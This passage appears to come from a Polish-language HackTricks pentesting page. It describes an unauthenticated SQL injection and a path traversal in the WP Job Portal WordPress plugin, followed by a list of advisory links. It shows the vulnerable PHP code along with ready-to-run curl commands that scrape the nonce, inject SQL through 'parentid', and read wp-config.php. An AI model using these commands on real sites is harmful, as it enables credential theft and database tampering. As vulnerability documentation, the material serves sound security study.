Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; if ($category) { $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ } $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` Issues introduced by this snippet: 1. **Niezabezpieczone dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP. 2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement. 3. **Dostęp bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną kontrolą jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode `[wpjobportal_my_resumes]`. #### Eksploatacja 1. Pobierz świeży nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` 2. Wstrzyknij dowolne SQL, wykorzystując `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ -d '_wpnonce=' \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku z dysku** przez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` `$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanityzacji**. Ponownie, jedyną blokadą jest **CSRF nonce**, który można pobrać ze strony resume. #### Eksploatacja ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ --data-urlencode '_wpnonce=' \ --data-urlencode 'upload_for=resume' \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys. ## Odnośniki - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) {{#include ../../banners/hacktricks-training.md}}